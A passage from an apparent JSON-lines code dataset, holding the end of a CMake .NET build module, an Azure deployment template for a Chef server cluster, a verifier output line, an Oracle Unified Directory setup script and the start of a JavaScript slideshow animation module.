ADD_DEPENDENCIES(SMOKETEST_${DOTNET_PROJNAME} ${_dn_last_smoketest})\n ENDIF()\n # Chain the smoke tests together so they are executed sequentially\n SET_PROPERTY(GLOBAL PROPERTY DOTNET_LAST_SMOKETEST SMOKETEST_${DOTNET_PROJNAME})\n\nENDFUNCTION()\n\nSET(DOTNET_IMPORTS_TEMPLATE ${CMAKE_CURRENT_LIST_DIR}/DotnetImports.props.in)\n\nFUNCTION(GEN_DOTNET_PROPS target_props_file)\n CMAKE_PARSE_ARGUMENTS(\n # prefix\n _DNP\n # options (flags)\n \"\" \n # oneValueArgs\n \"PACKAGE_VERSION;XML_INJECT\" \n # multiValueArgs\n \"\"\n # the input arguments\n ${ARGN})\n\n IF(NOT _DNP_PACKAGE_VERSION)\n SET(_DNP_PACKAGE_VERSION 1.0.0)\n ENDIF()\n\n IF(_DNP_XML_INJECT)\n SET(_DN_CUSTOM_BUILDPROPS ${_DNP_XML_INJECT})\n ENDIF()\n\n SET(_DN_OUTPUT_PATH ${CMAKE_BINARY_DIR})\n SET(_DN_XPLAT_LIB_DIR ${CMAKE_BINARY_DIR})\n SET(_DN_VERSION ${_DNP_PACKAGE_VERSION})\n CONFIGURE_FILE(${DOTNET_IMPORTS_TEMPLATE} ${target_props_file})\n UNSET(_DN_OUTPUT_PATH)\n UNSET(_DN_XPLAT_LIB_DIR)\n UNSET(_DN_VERSION)\nENDFUNCTION()\n\n\nMESSAGE(\"-- Found .NET toolchain: ${DOTNET_EXE} (version ${DOTNET_VERSION})\")\nSET(DOTNET_FOUND TRUE)\n"} +{"text": "{\n \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n \"contentVersion\": \"1.0.0.0\",\n \"parameters\": {\n \"computeSettings\": {\n \"type\": \"object\"\n },\n \"networkSettings\": {\n \"type\": \"object\"\n },\n \"keyvaultSettings\": {\n \"type\": \"object\"\n },\n \"location\": {\n \"type\": \"string\",\n \"defaultValue\": \"[resourceGroup().location]\",\n \"metadata\": {\n \"description\": \"Location for all resources.\"\n }\n }\n },\n \"variables\": {\n \"provider\": \"[toUpper('33194f91-eb5f-4110-827a-e95f640a9e46')]\"\n },\n \"resources\": [\n {\n \"apiVersion\": \"[parameters('computeSettings').computeApiVersion]\",\n \"type\": \"Microsoft.Compute/virtualMachines\",\n \"name\": \"[parameters('computeSettings').leaderComputerName]\",\n \"location\": \"[parameters('location')]\",\n \"properties\": {\n \"hardwareProfile\": {\n \"vmSize\": \"[parameters('computeSettings').vmSize]\"\n },\n \"osProfile\": {\n \"computerName\": \"[parameters('computeSettings').leaderComputerName]\",\n \"adminUsername\": \"[parameters('computeSettings').adminUsername]\",\n \"adminPassword\": \"[parameters('computeSettings').adminPassword]\",\n \"customData\": \"[parameters('computeSettings').leaderCustomData]\"\n },\n \"storageProfile\": {\n \"imageReference\": {\n \"publisher\": \"[parameters('computeSettings').imagePublisher]\",\n \"offer\": \"[parameters('computeSettings').imageOffer]\",\n \"sku\": \"[parameters('computeSettings').ubuntuOSVersion]\",\n \"version\": \"[parameters('computeSettings').imageVersion]\"\n },\n \"osDisk\": {\n \"createOption\": \"FromImage\"\n },\n \"dataDisks\": [\n {\n \"name\": \"[concat(parameters('computeSettings').managedDiskName,'0')]\",\n \"lun\": 0,\n \"caching\": \"None\",\n \"createOption\": \"Attach\",\n \"managedDisk\": {\n \"id\": \"[resourceId('Microsoft.Compute/disks',concat(parameters('computeSettings').managedDiskName,'0'))]\"\n }\n }\n ]\n },\n \"networkProfile\": {\n \"networkInterfaces\": [\n {\n \"id\": \"[resourceId('Microsoft.Network/networkInterfaces',parameters('networkSettings').leaderNicName)]\"\n }\n ]\n },\n \"availabilitySet\": {\n \"id\": \"[resourceId('Microsoft.Compute/availabilitySets',parameters('computeSettings').chefBEAvailName)]\"\n },\n \"diagnosticsProfile\": {\n \"bootDiagnostics\": {\n \"enabled\": true,\n \"storageUri\": \"[concat('http://',parameters('networkSettings').diagStorageAccName,'.blob.core.windows.net')]\"\n }\n }\n },\n \"resources\": [\n {\n \"name\": \"[parameters('computeSettings').leaderExtensionName]\",\n \"type\": \"extensions\",\n \"location\": \"[parameters('location')]\",\n \"apiVersion\": \"[parameters('computeSettings').computeApiVersion]\",\n \"dependsOn\": [\n \"[concat('Microsoft.Compute/virtualMachines/', parameters('computeSettings').leaderComputerName)]\"\n ],\n \"properties\": {\n \"publisher\": \"Microsoft.Azure.Extensions\",\n \"type\": \"CustomScript\",\n \"typeHandlerVersion\": \"2.0\",\n \"autoUpgradeMinorVersion\": true,\n \"settings\": {\n \"commandToExecute\": \"[concat('bash /etc/chef-backend/chef-backend-install.sh', ' ', parameters('keyvaultSettings').dbPasswordValue, ' ', parameters('keyvaultSettings').replicationPasswordValue, ' ', parameters('keyvaultSettings').clusterTokenValue, ' ', parameters('keyvaultSettings').clusterNameValue)]\"\n }\n }\n }\n ],\n \"tags\": {\n \"provider\": \"[variables('provider')]\"\n }\n },\n {\n \"apiVersion\": \"[parameters('computeSettings').computeApiVersion]\",\n \"type\": \"Microsoft.Compute/virtualMachines\",\n \"name\": \"[parameters('computeSettings').followerComputerName1]\",\n \"location\": \"[parameters('location')]\",\n \"properties\": {\n \"hardwareProfile\": {\n \"vmSize\": \"[parameters('computeSettings').vmSize]\"\n },\n \"osProfile\": {\n \"computerName\": \"[parameters('computeSettings').followerComputerName1]\",\n \"adminUsername\": \"[parameters('computeSettings').adminUsername]\",\n \"adminPassword\": \"[parameters('computeSettings').adminPassword]\",\n \"customData\": \"[parameters('computeSettings').followerCustomData]\"\n },\n \"storageProfile\": {\n \"imageReference\": {\n \"publisher\": \"[parameters('computeSettings').imagePublisher]\",\n \"offer\": \"[parameters('computeSettings').imageOffer]\",\n \"sku\": \"[parameters('computeSettings').ubuntuOSVersion]\",\n \"version\": \"[parameters('computeSettings').imageVersion]\"\n },\n \"osDisk\": {\n \"createOption\": \"FromImage\"\n },\n \"dataDisks\": [\n {\n \"name\": \"[concat(parameters('computeSettings').managedDiskName,'1')]\",\n \"lun\": 0,\n \"caching\": \"None\",\n \"createOption\": \"Attach\",\n \"managedDisk\": {\n \"id\": \"[resourceId('Microsoft.Compute/disks',concat(parameters('computeSettings').managedDiskName,'1'))]\"\n }\n }\n ]\n },\n \"networkProfile\": {\n \"networkInterfaces\": [\n {\n \"id\": \"[resourceId('Microsoft.Network/networkInterfaces',parameters('networkSettings').followerNicName1)]\"\n }\n ]\n },\n \"availabilitySet\": {\n \"id\": \"[resourceId('Microsoft.Compute/availabilitySets',parameters('computeSettings').chefBEAvailName)]\"\n },\n \"diagnosticsProfile\": {\n \"bootDiagnostics\": {\n \"enabled\": true,\n \"storageUri\": \"[concat('http://',parameters('networkSettings').diagStorageAccName,'.blob.core.windows.net')]\"\n }\n }\n },\n \"resources\": [\n {\n \"name\": \"[parameters('computeSettings').followerExtensionName1]\",\n \"type\": \"extensions\",\n \"location\": \"[parameters('location')]\",\n \"apiVersion\": \"[parameters('computeSettings').computeApiVersion]\",\n \"dependsOn\": [\n \"[concat('Microsoft.Compute/virtualMachines/', parameters('computeSettings').followerComputerName1)]\",\n \"[concat('Microsoft.Compute/virtualMachines/',parameters('computeSettings').leaderComputerName,'/extensions/', parameters('computeSettings').leaderExtensionName)]\"\n ],\n \"properties\": {\n \"publisher\": \"Microsoft.Azure.Extensions\",\n \"type\": \"CustomScript\",\n \"typeHandlerVersion\": \"2.0\",\n \"autoUpgradeMinorVersion\": true,\n \"settings\": {\n \"commandToExecute\": \"[concat('bash /etc/chef-backend/chef-backend-install.sh', ' ', parameters('keyvaultSettings').dbPasswordValue, ' ', parameters('keyvaultSettings').replicationPasswordValue, ' ', parameters('keyvaultSettings').clusterTokenValue, ' ', parameters('keyvaultSettings').clusterNameValue)]\"\n }\n }\n }\n ],\n \"tags\": {\n \"provider\": \"[variables('provider')]\"\n }\n },\n {\n \"apiVersion\": \"[parameters('computeSettings').computeApiVersion]\",\n \"type\": \"Microsoft.Compute/virtualMachines\",\n \"name\": \"[parameters('computeSettings').followerComputerName2]\",\n \"location\": \"[parameters('location')]\",\n \"properties\": {\n \"hardwareProfile\": {\n \"vmSize\": \"[parameters('computeSettings').vmSize]\"\n },\n \"osProfile\": {\n \"computerName\": \"[parameters('computeSettings').followerComputerName2]\",\n \"adminUsername\": \"[parameters('computeSettings').adminUsername]\",\n \"adminPassword\": \"[parameters('computeSettings').adminPassword]\",\n \"customData\": \"[parameters('computeSettings').followerCustomData]\"\n },\n \"storageProfile\": {\n \"imageReference\": {\n \"publisher\": \"[parameters('computeSettings').imagePublisher]\",\n \"offer\": \"[parameters('computeSettings').imageOffer]\",\n \"sku\": \"[parameters('computeSettings').ubuntuOSVersion]\",\n \"version\": \"[parameters('computeSettings').imageVersion]\"\n },\n \"osDisk\": {\n \"createOption\": \"FromImage\"\n },\n \"dataDisks\": [\n {\n \"name\": \"[concat(parameters('computeSettings').managedDiskName,'2')]\",\n \"lun\": 0,\n \"caching\": \"None\",\n \"createOption\": \"Attach\",\n \"managedDisk\": {\n \"id\": \"[resourceId('Microsoft.Compute/disks',concat(parameters('computeSettings').managedDiskName,'2'))]\"\n }\n }\n ]\n },\n \"networkProfile\": {\n \"networkInterfaces\": [\n {\n \"id\": \"[resourceId('Microsoft.Network/networkInterfaces',parameters('networkSettings').followerNicName2)]\"\n }\n ]\n },\n \"availabilitySet\": {\n \"id\": \"[resourceId('Microsoft.Compute/availabilitySets',parameters('computeSettings').chefBEAvailName)]\"\n },\n \"diagnosticsProfile\": {\n \"bootDiagnostics\": {\n \"enabled\": true,\n \"storageUri\": \"[concat('http://',parameters('networkSettings').diagStorageAccName,'.blob.core.windows.net')]\"\n }\n }\n },\n \"resources\": [\n {\n \"name\": \"[parameters('computeSettings').followerExtensionName2]\",\n \"type\": \"extensions\",\n \"location\": \"[parameters('location')]\",\n \"apiVersion\": \"[parameters('computeSettings').computeApiVersion]\",\n \"dependsOn\": [\n \"[concat('Microsoft.Compute/virtualMachines/', parameters('computeSettings').followerComputerName2)]\",\n \"[concat('Microsoft.Compute/virtualMachines/',parameters('computeSettings').followerComputerName1,'/extensions/', parameters('computeSettings').followerExtensionName1)]\"\n ],\n \"properties\": {\n \"publisher\": \"Microsoft.Azure.Extensions\",\n \"type\": \"CustomScript\",\n \"typeHandlerVersion\": \"2.0\",\n \"autoUpgradeMinorVersion\": true,\n \"settings\": {\n \"commandToExecute\": \"[concat('bash /etc/chef-backend/chef-backend-install.sh', ' ', parameters('keyvaultSettings').dbPasswordValue, ' ', parameters('keyvaultSettings').replicationPasswordValue, ' ', parameters('keyvaultSettings').clusterTokenValue, ' ', parameters('keyvaultSettings').clusterNameValue)]\"\n }\n }\n }\n ],\n \"tags\": {\n \"provider\": \"[variables('provider')]\"\n }\n },\n {\n \"apiVersion\": \"[parameters('computeSettings').computeApiVersion]\",\n \"type\": \"Microsoft.Compute/virtualMachines\",\n \"name\": \"[parameters('computeSettings').feComputerName0]\",\n \"location\": \"[parameters('location')]\",\n \"properties\": {\n \"hardwareProfile\": {\n \"vmSize\": \"[parameters('computeSettings').vmSize]\"\n },\n \"osProfile\": {\n \"computerName\": \"[parameters('computeSettings').feComputerName0]\",\n \"adminUsername\": \"[parameters('computeSettings').adminUsername]\",\n \"adminPassword\": \"[parameters('computeSettings').adminPassword]\",\n \"customData\": \"[parameters('computeSettings').fe0CustomData]\"\n },\n \"storageProfile\": {\n \"imageReference\": {\n \"publisher\": \"[parameters('computeSettings').imagePublisher]\",\n \"offer\": \"[parameters('computeSettings').imageOffer]\",\n \"sku\": \"[parameters('computeSettings').ubuntuOSVersion]\",\n \"version\": \"[parameters('computeSettings').imageVersion]\"\n },\n \"osDisk\": {\n \"createOption\": \"FromImage\"\n },\n \"dataDisks\": [\n {\n \"name\": \"[concat(parameters('computeSettings').managedDiskName,'3')]\",\n \"lun\": 0,\n \"caching\": \"None\",\n \"createOption\": \"Attach\",\n \"managedDisk\": {\n \"id\": \"[resourceId('Microsoft.Compute/disks',concat(parameters('computeSettings').managedDiskName,'3'))]\"\n }\n }\n ]\n },\n \"networkProfile\": {\n \"networkInterfaces\": [\n {\n \"id\": \"[resourceId('Microsoft.Network/networkInterfaces',parameters('networkSettings').feNicName0)]\"\n }\n ]\n },\n \"availabilitySet\": {\n \"id\": \"[resourceId('Microsoft.Compute/availabilitySets',parameters('computeSettings').chefFEAvailName)]\"\n },\n \"diagnosticsProfile\": {\n \"bootDiagnostics\": {\n \"enabled\": true,\n \"storageUri\": \"[concat('http://',parameters('networkSettings').diagStorageAccName,'.blob.core.windows.net')]\"\n }\n }\n },\n \"resources\": [\n {\n \"name\": \"[parameters('computeSettings').feVmExtensionName0]\",\n \"type\": \"extensions\",\n \"location\": \"[parameters('location')]\",\n \"apiVersion\": \"[parameters('computeSettings').computeApiVersion]\",\n \"dependsOn\": [\n \"[concat('Microsoft.Compute/virtualMachines/', parameters('computeSettings').feComputerName0)]\",\n \"[resourceId('Microsoft.Compute/virtualMachines/extensions',parameters('computeSettings').leaderComputerName, parameters('computeSettings').leaderExtensionName)]\",\n \"[resourceId('Microsoft.Compute/virtualMachines/extensions',parameters('computeSettings').followerComputerName1, parameters('computeSettings').followerExtensionName1)]\",\n \"[resourceId('Microsoft.Compute/virtualMachines/extensions',parameters('computeSettings').followerComputerName2, parameters('computeSettings').followerExtensionName2)]\"\n ],\n \"properties\": {\n \"publisher\": \"Microsoft.Azure.Extensions\",\n \"type\": \"CustomScript\",\n \"typeHandlerVersion\": \"2.0\",\n \"autoUpgradeMinorVersion\": true,\n \"settings\": {\n \"commandToExecute\": \"[concat('bash /etc/opscode/chef-frontend-install.sh', ' ', parameters('keyvaultSettings').dbPasswordValue, ' ', parameters('computeSettings').adminPassword, ' ', parameters('computeSettings').firstName, ' ', parameters('computeSettings').lastName, ' ', parameters('computeSettings').emailId, ' ', parameters('computeSettings').organizationName, ' ', parameters('keyvaultSettings').servicePrinciple, ' ', parameters('keyvaultSettings').tenantID, ' ', parameters('keyvaultSettings').password, ' ', parameters('keyvaultSettings').objectId, ' ', parameters('keyvaultSettings').keyVaultName)]\"\n }\n }\n }\n ]\n },\n {\n \"apiVersion\": \"[parameters('computeSettings').computeApiVersion]\",\n \"type\": \"Microsoft.Compute/virtualMachines\",\n \"name\": \"[parameters('computeSettings').feComputerName1]\",\n \"location\": \"[parameters('location')]\",\n \"properties\": {\n \"hardwareProfile\": {\n \"vmSize\": \"[parameters('computeSettings').vmSize]\"\n },\n \"osProfile\": {\n \"computerName\": \"[parameters('computeSettings').feComputerName1]\",\n \"adminUsername\": \"[parameters('computeSettings').adminUsername]\",\n \"adminPassword\": \"[parameters('computeSettings').adminPassword]\",\n \"customData\": \"[parameters('computeSettings').feCustomData]\"\n },\n \"storageProfile\": {\n \"imageReference\": {\n \"publisher\": \"[parameters('computeSettings').imagePublisher]\",\n \"offer\": \"[parameters('computeSettings').imageOffer]\",\n \"sku\": \"[parameters('computeSettings').ubuntuOSVersion]\",\n \"version\": \"[parameters('computeSettings').imageVersion]\"\n },\n \"osDisk\": {\n \"createOption\": \"FromImage\"\n },\n \"dataDisks\": [\n {\n \"name\": \"[concat(parameters('computeSettings').managedDiskName,'4')]\",\n \"lun\": 0,\n \"caching\": \"None\",\n \"createOption\": \"Attach\",\n \"managedDisk\": {\n \"id\": \"[resourceId('Microsoft.Compute/disks',concat(parameters('computeSettings').managedDiskName,'4'))]\"\n }\n }\n ]\n },\n \"networkProfile\": {\n \"networkInterfaces\": [\n {\n \"id\": \"[resourceId('Microsoft.Network/networkInterfaces',parameters('networkSettings').feNicName1)]\"\n }\n ]\n },\n \"availabilitySet\": {\n \"id\": \"[resourceId('Microsoft.Compute/availabilitySets',parameters('computeSettings').chefFEAvailName)]\"\n },\n \"diagnosticsProfile\": {\n \"bootDiagnostics\": {\n \"enabled\": true,\n \"storageUri\": \"[concat('http://',parameters('networkSettings').diagStorageAccName,'.blob.core.windows.net')]\"\n }\n }\n },\n \"resources\": [\n {\n \"name\": \"[parameters('computeSettings').feVmExtensionName1]\",\n \"type\": \"extensions\",\n \"location\": \"[parameters('location')]\",\n \"dependsOn\": [\n \"[concat('Microsoft.Compute/virtualMachines/', parameters('computeSettings').feComputerName1)]\",\n \"[resourceId('Microsoft.Compute/virtualMachines/extensions',parameters('computeSettings').feComputerName0, parameters('computeSettings').feVmExtensionName0)]\"\n ],\n \"apiVersion\": \"[parameters('computeSettings').computeApiVersion]\",\n \"properties\": {\n \"publisher\": \"Microsoft.Azure.Extensions\",\n \"type\": \"CustomScript\",\n \"typeHandlerVersion\": \"2.0\",\n \"autoUpgradeMinorVersion\": true,\n \"settings\": {\n \"commandToExecute\": \"[concat('bash /etc/opscode/chef-frontend-install.sh', ' ', parameters('keyvaultSettings').dbPasswordValue, ' ', parameters('computeSettings').adminPassword, ' ', parameters('computeSettings').firstName, ' ', parameters('computeSettings').lastName, ' ', parameters('computeSettings').emailId, ' ', parameters('computeSettings').organizationName, ' ', parameters('keyvaultSettings').servicePrinciple, ' ', parameters('keyvaultSettings').tenantID, ' ', parameters('keyvaultSettings').password, ' ', parameters('keyvaultSettings').objectId, ' ', parameters('keyvaultSettings').keyVaultName)]\"\n }\n }\n }\n ],\n \"tags\": {\n \"provider\": \"[variables('provider')]\"\n }\n },\n {\n \"apiVersion\": \"[parameters('computeSettings').computeApiVersion]\",\n \"type\": \"Microsoft.Compute/virtualMachines\",\n \"name\": \"[parameters('computeSettings').feComputerName2]\",\n \"location\": \"[parameters('location')]\",\n \"properties\": {\n \"hardwareProfile\": {\n \"vmSize\": \"[parameters('computeSettings').vmSize]\"\n },\n \"osProfile\": {\n \"computerName\": \"[parameters('computeSettings').feComputerName2]\",\n \"adminUsername\": \"[parameters('computeSettings').adminUsername]\",\n \"adminPassword\": \"[parameters('computeSettings').adminPassword]\",\n \"customData\": \"[parameters('computeSettings').feCustomData]\"\n },\n \"storageProfile\": {\n \"imageReference\": {\n \"publisher\": \"[parameters('computeSettings').imagePublisher]\",\n \"offer\": \"[parameters('computeSettings').imageOffer]\",\n \"sku\": \"[parameters('computeSettings').ubuntuOSVersion]\",\n \"version\": \"[parameters('computeSettings').imageVersion]\"\n },\n \"osDisk\": {\n \"createOption\": \"FromImage\"\n },\n \"dataDisks\": [\n {\n \"name\": \"[concat(parameters('computeSettings').managedDiskName,'5')]\",\n \"lun\": 0,\n \"caching\": \"None\",\n \"createOption\": \"Attach\",\n \"managedDisk\": {\n \"id\": \"[resourceId('Microsoft.Compute/disks',concat(parameters('computeSettings').managedDiskName,'5'))]\"\n }\n }\n ]\n },\n \"networkProfile\": {\n \"networkInterfaces\": [\n {\n \"id\": \"[resourceId('Microsoft.Network/networkInterfaces',parameters('networkSettings').feNicName2)]\"\n }\n ]\n },\n \"availabilitySet\": {\n \"id\": \"[resourceId('Microsoft.Compute/availabilitySets',parameters('computeSettings').chefFEAvailName)]\"\n },\n \"diagnosticsProfile\": {\n \"bootDiagnostics\": {\n \"enabled\": true,\n \"storageUri\": \"[concat('http://',parameters('networkSettings').diagStorageAccName,'.blob.core.windows.net')]\"\n }\n }\n },\n \"resources\": [\n {\n \"name\": \"[parameters('computeSettings').feVmExtensionName2]\",\n \"type\": \"extensions\",\n \"location\": \"[parameters('location')]\",\n \"dependsOn\": [\n \"[concat('Microsoft.Compute/virtualMachines/', parameters('computeSettings').feComputerName2)]\",\n \"[resourceId('Microsoft.Compute/virtualMachines/extensions',parameters('computeSettings').feComputerName0,parameters('computeSettings').feVmExtensionName0)]\"\n ],\n \"apiVersion\": \"[parameters('computeSettings').computeApiVersion]\",\n \"properties\": {\n \"publisher\": \"Microsoft.Azure.Extensions\",\n \"type\": \"CustomScript\",\n \"typeHandlerVersion\": \"2.0\",\n \"autoUpgradeMinorVersion\": true,\n \"settings\": {\n \"commandToExecute\": \"[concat('bash /etc/opscode/chef-frontend-install.sh', ' ', parameters('keyvaultSettings').dbPasswordValue, ' ', parameters('computeSettings').adminPassword, ' ', parameters('computeSettings').firstName, ' ', parameters('computeSettings').lastName, ' ', parameters('computeSettings').emailId, ' ', parameters('computeSettings').organizationName, ' ', parameters('keyvaultSettings').servicePrinciple, ' ', parameters('keyvaultSettings').tenantID, ' ', parameters('keyvaultSettings').password, ' ', parameters('keyvaultSettings').objectId, ' ', parameters('keyvaultSettings').keyVaultName)]\"\n }\n }\n }\n ],\n \"tags\": {\n \"provider\": \"[variables('provider')]\"\n }\n },\n {\n \"apiVersion\": \"[parameters('computeSettings').computeApiVersion]\",\n \"type\": \"Microsoft.Compute/virtualMachines\",\n \"name\": \"[parameters('computeSettings').autoComputerName]\",\n \"location\": \"[parameters('location')]\",\n \"properties\": {\n \"hardwareProfile\": {\n \"vmSize\": \"[parameters('computeSettings').vmSize]\"\n },\n \"osProfile\": {\n \"computerName\": \"[parameters('computeSettings').autoComputerName]\",\n \"adminUsername\": \"[parameters('computeSettings').adminUsername]\",\n \"adminPassword\": \"[parameters('computeSettings').adminPassword]\",\n \"customData\": \"[parameters('computeSettings').automateCustomData]\"\n },\n \"storageProfile\": {\n \"imageReference\": {\n \"publisher\": \"[parameters('computeSettings').imagePublisher]\",\n \"offer\": \"[parameters('computeSettings').imageOffer]\",\n \"sku\": \"[parameters('computeSettings').ubuntuOSVersion]\",\n \"version\": \"[parameters('computeSettings').imageVersion]\"\n },\n \"osDisk\": {\n \"createOption\": \"FromImage\"\n },\n \"dataDisks\": [\n {\n \"name\": \"[concat(parameters('computeSettings').managedDiskName,'6')]\",\n \"lun\": 0,\n \"caching\": \"None\",\n \"createOption\": \"Attach\",\n \"managedDisk\": {\n \"id\": \"[resourceId('Microsoft.Compute/disks',concat(parameters('computeSettings').managedDiskName,'6'))]\"\n }\n }\n ]\n },\n \"networkProfile\": {\n \"networkInterfaces\": [\n {\n \"id\": \"[resourceId('Microsoft.Network/networkInterfaces',parameters('networkSettings').chefAutoNicName)]\"\n }\n ]\n },\n \"diagnosticsProfile\": {\n \"bootDiagnostics\": {\n \"enabled\": true,\n \"storageUri\": \"[concat('http://',parameters('networkSettings').diagStorageAccName,'.blob.core.windows.net')]\"\n }\n }\n },\n \"resources\": [\n {\n \"name\": \"[parameters('computeSettings').chefAutoExtenName]\",\n \"type\": \"extensions\",\n \"location\": \"[parameters('location')]\",\n \"dependsOn\": [\n \"[concat('Microsoft.Compute/virtualMachines/', parameters('computeSettings').autoComputerName)]\",\n \"[resourceId('Microsoft.Compute/virtualMachines/extensions',parameters('computeSettings').feComputerName0,parameters('computeSettings').feVmExtensionName0)]\",\n \"[resourceId('Microsoft.Compute/virtualMachines/extensions',parameters('computeSettings').feComputerName1,parameters('computeSettings').feVmExtensionName1)]\",\n \"[resourceId('Microsoft.Compute/virtualMachines/extensions',parameters('computeSettings').feComputerName2,parameters('computeSettings').feVmExtensionName2)]\"\n ],\n \"apiVersion\": \"[parameters('computeSettings').computeApiVersion]\",\n \"properties\": {\n \"publisher\": \"Microsoft.Azure.Extensions\",\n \"type\": \"CustomScript\",\n \"typeHandlerVersion\": \"2.0\",\n \"autoUpgradeMinorVersion\": true,\n \"settings\": {\n \"commandToExecute\": \"[concat('bash /etc/delivery/chef-automate-install.sh', ' ', parameters('keyvaultSettings').servicePrinciple, ' ', parameters('keyvaultSettings').tenantID, ' ', parameters('keyvaultSettings').password, ' ', parameters('keyvaultSettings').objectId, ' ', parameters('keyvaultSettings').keyVaultName)]\"\n }\n }\n }\n ],\n \"tags\": {\n \"provider\": \"[variables('provider')]\"\n }\n }\n ]\n}\n"} +{"text": "bvZext 32 (bvSelect 0 8 (floatToBinary cX@3:f))\nbvZext 32 (bvSelect 8 8 (floatToBinary cX@3:f))\nbvZext 32 (bvSelect 16 8 (floatToBinary cX@3:f))\nbvZext 32 (bvSelect 24 8 (floatToBinary cX@3:f))\n[Crux] Overall status: Valid.\n"} +{"text": "#!/bin/bash\n# ---------------------------------------------------------------------------\n# Trivadis AG, Infrastructure Managed Services\n# Saegereistrasse 29, 8152 Glattbrugg, Switzerland\n# ---------------------------------------------------------------------------\n# Name.......: 63_config_oud_instance.sh \n# Author.....: Stefan Oehrli (oes) stefan.oehrli@trivadis.com\n# Editor.....: Stefan Oehrli\n# Date.......: 2017.12.04\n# Revision...: \n# Purpose....: Configure OUD instance using custom scripts \n# Notes......: Script is a wrapper for custom setup script in SCRIPTS_ROOT \n# All files in folder SCRIPTS_ROOT will be executet but not in \n# any subfolder. Currently just *.sh, *.ldif and *.conf files \n# are supported.\n# sh : Shell scripts will be executed\n# ldif : LDIF files will be loaded via ldapmodify\n# conf : Config files will be loaded via dsconfig\n# To ensure proper order it is recommended to prefix your scripts\n# with a number. For example 01_instance.conf, \n# 02_schemaextention.ldif, etc.\n# Reference..: This script is a copy from the Git repository \n# https://github.com/oehrlis/oradba_init \n# License....: Licensed under the Universal Permissive License v 1.0 as \n# shown at http://oss.oracle.com/licenses/upl.\n# ---------------------------------------------------------------------------\n# Modified...:\n# see git revision history for more information on changes/updates\n# ---------------------------------------------------------------------------\n\n# - Script Variables --------------------------------------------------------\n# - Set script names for miscellaneous start, check and config scripts.\n# ---------------------------------------------------------------------------\n# Default name for OUD instance\n# source genric environment variables and functions\nsource \"$(dirname ${BASH_SOURCE[0]})/00_setup_oradba_init.sh\"\n\n# define oradba specific variables\nexport ORADBA_BIN=\"$(cd \"$(dirname \"${BASH_SOURCE[0]}\")\" ; pwd -P)\"\nexport ORADBA_BASE=\"$(dirname ${ORADBA_BIN})\"\n# - EOF Script Variables ----------------------------------------------------\n\n# Default name for OUD instance\nexport OUD_INSTANCE=${OUD_INSTANCE:-oud_docker}\n\n# Default values for the instance home and admin directory\nexport OUD_INSTANCE_ADMIN=${OUD_INSTANCE_ADMIN:-${ORACLE_DATA}/admin/${OUD_INSTANCE}}\nexport OUD_INSTANCE_HOME=${OUD_INSTANCE_HOME:-\"${OUD_INSTANCE_BASE}/${OUD_INSTANCE}\"}\n\n# Default values for host and ports\nexport HOST=$(hostname 2>/dev/null ||cat /etc/hostname ||echo $HOSTNAME) # Hostname\nexport PORT=${PORT:-1389} # Default LDAP port\nexport PORT_ADMIN=${PORT_ADMIN:-4444} # Default admin port\n\n# Default value for the directory\nexport ADMIN_USER=${ADMIN_USER:-'cn=Directory Manager'} # Default directory admin user\nexport PWD_FILE=${PWD_FILE:-${OUD_INSTANCE_ADMIN}/etc/${OUD_INSTANCE}_pwd.txt}\n\n# default folder for OUD instance init scripts\nexport INSTANCE_INIT=${INSTANCE_INIT:-$ORACLE_DATA/config}\n# - EOF Environment Variables -----------------------------------------------\n\n# use parameter 1 as script root\nSCRIPTS_ROOT=\"$1\";\n\n# Check whether parameter has been passed on\nif [ -z \"${SCRIPTS_ROOT}\" ]; then\n echo \"$0: No SCRIPTS_ROOT passed on, no scripts will be run\";\n exit 1;\nfi\n\n# Execute custom provided files (only if directory exists and has files in it)\nif [ -d \"${SCRIPTS_ROOT}\" ] && [ -n \"$(ls -A ${SCRIPTS_ROOT})\" ]; then\n echo \"\";\n echo \"--- Executing user defined scripts -------------------------------------\"\n\n# Loop over the files in the current directory\n for f in $(find ${SCRIPTS_ROOT} -maxdepth 1 -type f|sort); do\n # Skip ldif and conf file if a bash script with same name exists\n if [ -f \"$(dirname $f)/$(basename $f .ldif).sh\" ]; then\n echo \"INFO: skip file $f, bash script with same name exists.\"\n continue\n elif [ -f \"$(dirname $f)/$(basename $f .conf).sh\" ]; then\n echo \"INFO: skip file $f, bash script with same name exists.\"\n continue\n elif [ -f \"$(dirname $f)/$(basename $f .sh).sh\" ]; then\n echo \"INFO: bash script $f.\"\n else\n echo \"INFO: no bash script for file $f.\"\n fi\n echo \"--- --------------------------------------------------------------------\"\n case \"$f\" in\n *.sh) echo \"INFO: running $f\"; \"$f\" ;;\n *.ldif) echo \"INFO: running $f\"; echo \"exit\" | ${OUD_INSTANCE_HOME}/OUD/bin/ldapmodify --defaultAdd --hostname ${HOST} --port ${PORT} --bindDN \"${ADMIN_USER}\" --bindPasswordFile ${PWD_FILE} --filename \"$f\"; echo ;;\n *.conf) echo \"INFO: running $f\"; echo \"exit\" | ${OUD_INSTANCE_HOME}/OUD/bin/dsconfig --hostname ${HOST} --port ${PORT_ADMIN} --bindDN \"${ADMIN_USER}\" --bindPasswordFile ${PWD_FILE} --trustAll --no-prompt -F \"$f\"; echo ;;\n *) echo \"INFO: skip file $f\" ;;\n esac\n echo \"\";\n done\n echo \"--- Successfully executed user defined ---------------------------------\"\n echo \"\"\nelse\n echo \"--- no user defined scripts to execute ---------------------------------\"\nfi\n# --- EOF -------------------------------------------------------------------"} +{"text": "\n/**\n * @module JXAnimate.Demo\n * @subModule SlideShow\n * @requires JXAnimate.Animate\n * \n *\n * @description\n * Define animations for the demo of the JXAnimation.\n * \n * @author minren \n * ===========================================================================\n * \n */\n\n/**\n * @description\n *\n */\n\nJx().$package(\"SlideShow\", function(J){\n\nvar $D = J.dom;\n\nJXAnimate.addEffects({\n\n /**\n * 卡片飞向舞台中心的效果。\n * @method flyOutToCenter\n * @param {array} elems HTML元素id的集合\n * @param {object} playParam 播放参数,时长、延时、重复等\n * @param {animSetting} animSetting 动画参数,多米诺效果、回调、声音等\n * @return {void} \n */\n flyOutToCenter : function(elems,playParam,animSetting){\n var animSetting = animSetting || {};\n\n\n var buildKeyframe = function(elem,animSetting){\n var index = animSetting.index,\n keyframeName = this.buildUniqueKeyframeName(animSetting.animType),\n x1,y1,x2,y2,w,h,stage,stageW,stageH,styleText1,styleText2;\n\n x1 = $D.getPosX(elem);\n y1 = $D.getPosY(elem);\n w = $D.getWidth(elem);\n h = $D.getHeight(elem);\n\n stage = SlideShow.getStage();\n stageW = 